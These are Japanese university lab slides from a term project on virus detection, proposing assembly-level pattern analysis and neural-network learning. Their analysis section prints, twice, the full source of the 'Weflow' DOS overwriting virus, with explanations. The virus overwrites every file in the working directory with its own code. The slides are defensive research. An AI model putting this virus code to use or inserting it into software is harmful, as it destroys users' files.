Copyright © 2005 INAS Lab.
2004 Fall. Term Report
Immune Project
D1 Kensuke Naoe <[email protected]>B4 Hidekazu Tanaka <[email protected]
.jp>
B3 Hitoshi Nakai <[email protected]>
B3 Takayouki Hotta <[email protected]>
B2 Kjiro Shimoe <[email protected]>
Project Menber
Copyright © 2005 INAS Lab.
目次
•Immune Projectの目的(堀田)•アセンブラの基礎(下江)•アセンブラでのウイルス解析(堀田)•ウイルス検出方法の調査(中井)•論文発表(田中)•展望(田中)•謝辞(中井)•質疑応答(全員)
Copyright © 2005 INAS Lab.
Immune Projectの目的
• ウイルスの巧妙化– ステルス型– ポリモフィック型– メタモフィック型
• 従来の検出手法– パターンマッチング– ヒューリスティック手法
• 新しい手法の提案– アセンブラレベルでの解析– パターン学習による解析
Copyright © 2005 INAS Lab.
アセンブラの基礎
• アセンブラ言語とは?• アセンブリ言語の表し方• マシン語命令群その1• その2• その3
Copyright © 2005 INAS Lab.
アセンブラとは?
• アセンブリ言語はプログラミング言語の一種– コンピューターが唯一理解できるのはマシン語だが、そのマシン語を人間に理解できるようにしたものがプログラミング言語。
• アセンブリ言語が他の言語と違う点– javaや c言語など他の言語はマシン語と一対一に対応していないが、アセンブリ言語はマシン語と一対一に対応している。
• キーワード– ニーモニック– オペコード– オペランド
Copyright © 2005 INAS Lab.
アセンブリ言語の表し方
• ニーモニック– マシン語には一つ一つ記号が割り振られていて、その
記号のことをニーモニックと呼ぶ。 ex) mov al 02h– ニーモニックはオペコードとオペランドと呼ばれる二
つの部分に分けることができる。
• オペコード(主命令)– データ転送やジャンプなどの命令を下す部分。– 上記の例では mov がそれにあたる。
• オペランド(対象となる相手、条件、パラメータ)– レジスタやアドレスなど命令の対象となる部分。上記
の例では al 02h がそれにあたり、このオペランドによって対応するマシン語が変わる。
Copyright © 2005 INAS Lab.
マシン語命令その1
• データ転送命令– レジスタとメモリとの間でデータをやりとりのための
命令– 例 mov EAX 7E9675A1h ( EAX レジスタに 7E967
5A1h をロード)– レジスタ→メモリのやりとりを「ストア」、メモリ→
レジスタのやりとりを「ロード」という。
• 算術演算命令– 四則演算や比較などをするための命令。結果がレジス
タやメモリに転送される。さらに結果の状態(0や正負など)がフラグレジスタにセットされる。
– 例 ) add ax 0020h ax の内容に 0020h を加える inc ax ax の値をインクリメントする cmp eax 0030h eax の内容と 0030h を比較して 結果をフラグレジスタにセット
Copyright © 2005 INAS Lab.
マシン語命令その2
• ジャンプ命令– プログラムの流れを変えるための命令。– ジャンプ無条件と条件付きジャンプの2種類ある。
• 無条件ジャンプ– jmp アドレス指定 の形で表される。
実行されるとオフセットアドレスが特定のレジスタにロードされ、ジャンプされる。
• 条件付きジャンプ– フラグレジスタの値を判定し、その結果によってジャ
ンプの有無を決める。• je アドレス指定 : ゼロフラグの値が1ならば指定した アドレスにジャンプ
• cmp AX 005ah ja アドレス指定 : 結果が大きければ指定したアドレスに ジャンプ
Copyright © 2005 INAS Lab.
その他のマシン語命令
• サブルーチンのコール・リターン– call サブルーチン名
• スタックのプッシュ・ポップ– push eax ()
• 論理演算命令– or al 20h ( al レジスタの内容とデータ 20h の or をと
る)
• シフト・ローテート命令– shl bl 1 ( bl の内容を左に1つシフトする)
Copyright © 2005 INAS Lab.
アセンブラでのウイルス解析
• Weflow.asm– 1993 年の Virus– TRIDENT OVERWRITING VIRUS が Base になっている
• OverWriting– 1992 年の Virus– ウイルスと感染するファイルが実行されるたびに、このウ
イルスはホストファイルの最初 64 バイトを Over Write することによってワーキング・ディレクトリの .com ファイルすべてを感染させる
Copyright © 2005 INAS Lab.
MAIN: MOV AH,4EH
NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET
COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL
FF DB '*.*',0 DB 'WEFLOW93'
VLEN EQU $-MAIN
Weflow.asm (code)
Copyright © 2005 INAS Lab.
Weflow.asm ( 解説: MAIN)
MOV AH,4EH– ah レジスタに 4eh の指す内容を転送
具体的には ah レジスタに対して初回ファイル検索を行うちなみに、この結果は CF(Cflag) の返り値を与える CF = 0 :成功 CF = 1 :エラー
Copyright © 2005 INAS Lab.
Weflow.asm ( 解説: NOTSOCOOL)
LEA DX,FFINT 21H
– dx レジスタに下で定義した FF のアドレスを転送このとき AH の値は 4E もしくは 4F であれば、“初回ファイル検索” or“ 次回ファイル検索”で 4E の時のみ、 DX=ファイル名を含む文字列ポインタを参照、 4F では参照しない。検索結果はディスク転送アドレスに格納される
成功 CF=0 失敗 CF=1
JNC COOLRET
– Cflag が降りているときに分岐する ( 降りているときは COOL にまた、“ RET” で実行していたものから戻ってくる (COOLから戻ってくる。さらに、ここで CF=1 ならばプログラムは終了する
Copyright © 2005 INAS Lab.
Weflow.asm ( 解説: COOL.1)
MOV AX,3D02HMOV DX,9EHINT 21H
– AXレジスタを書き出し・読み込み双方対応できるようオープンする。DXレジスタに 9eが指す内容を転送
XCHG AX,BXMOV CL,VLENMOV AH,40HINT 21H
– AXレジスタと BXレジスタの内容を入れ替えるCLに VLENの値を入れる (VLENは下で定義している )ahレジスタに書き込む
Copyright © 2005 INAS Lab.
Weflow.asm ( 解説: COOL.2)
MOV AH,3EHINT 21H
– ahレジスタで開いていたファイルをクローズする
MOV AH,4FH–次回ファイル検索を行う
JMP NOTSOCOOL–無条件で NOTSOCOOL(最初に規定した文字列ポインタ )の先に飛ぶ
Copyright © 2005 INAS Lab.
Weflow.asm ( 解説: FF ・ VLEN)
DB '*.*',0DB 'WEFLOW93‘
–文字列をセットする
EQU $-MAIN– VLENにMAINの大きさを入れるもの
Copyright © 2005 INAS Lab.
MAIN: MOV AH,4EH
NOTSOCOOL: LEA DX,FF INT 21H JNC COOL RET
COOL: MOV AX,3D02H MOV DX,9EH INT 21H XCHG AX,BX MOV CL,VLEN MOV AH,40H INT 21H MOV AH,3EH INT 21H MOV AH,4FH JMP NOTSOCOOL
FF DB '*.*',0 DB 'WEFLOW93'
VLEN EQU $-MAIN
Weflow.asm (code)
Copyright © 2005 INAS Lab.
ウイルスの巧妙化
• ウイルスの巧妙化– ステルス型
– ポリモフィック型• プログラムコードを暗号化• 暗号化鍵は感染の都度に変化• 暗号化 /複合化エンジン
– メタモフィック型• 感染するたびに自分自身のコードを書き換える• 様々な手法での隠匿の試み
Copyright © 2005 INAS Lab.
従来のウィルスの検出
• 従来のウイルスの検出– パターンマッチング
• 文字列• パターンの発生順序• 特定のパターン同士の距離
⇒対象となるウイルスのパターン定義ファイルの所持が前提また、時間がかかる。
– ヒューリスティック手法• 問題をすばやく解決するための手法• 大まかな予想からあたりをつけて検索する手法• 動的ヒューリスティックと静的ヒューリスティックがある
Copyright © 2005 INAS Lab.
ヒューリスティック手法
• 静的ヒューリスティック– パターンのデータベース– ウィルスの複合化のルーチンを認識
• 動的ヒューリスティック– 仮想空間上でプログラムを動かす
Copyright © 2005 INAS Lab.
ヒューリスティック手法
Copyright © 2005 INAS Lab.
ヒューリスティック手法の問題点
• 問題をすばやく解決するための手法⇒検索部位とウイルスの存在する部位が違えばウイルスが発見できない
⇒完璧ではない
Copyright © 2005 INAS Lab.
アセンブラレベルでの解析
• ウィルスのコードを静的に逆アセンブル
→従来のヒューリスティックパターンに、さらに細かいパターンを定義することができる
Copyright © 2005 INAS Lab.
mov dword_3,6E72654Bh
mov dword_4,32336C65h
mov dword_5,0h
push offset dword_3
call ds:[GetModuleHandleA]
静的ヒューリスティック
動的ヒューリスティック
アセンブラ命令パターン
アルゴリズムのパターン
挙動のパターン
ヒューリスティックスキャンのためのルール群データベース
様々な角度から挙動や命令群、アルゴリズムなどを比較
Unknown Virus
Copyright © 2005 INAS Lab.
パターン学習による検出
• ニューラルネットワークを用いたパターン検出• 学習結果に基づく分類判定
→さらに高い確率で未知ウィルスであると特定することができる
Copyright © 2005 INAS Lab.
mov dword_3,6E72654Bh
mov dword_4,32336C65h
mov dword_5,0h
push offset dword_3
call ds:[GetModuleHandleA]
静的ヒューリスティック
動的ヒューリスティック
アセンブラ命令パターン
アルゴリズムのパターン
挙動のパターン
ヒューリスティックスキャンのためのルール群データベース
新しい挙動パターンやアルゴリズム、命令の順序などがあればデータベースにパターンを学習させる
Unknown Virus
Copyright © 2005 INAS Lab.
まとめ
• アセンブリ言語に逆アセンブルしたコードからパターン抽出し、学習
→検出率の向上と誤検出・誤警報の減少
Copyright © 2005 INAS Lab.
今後の展望
• 情報処理学会全国大会発表に向けて実装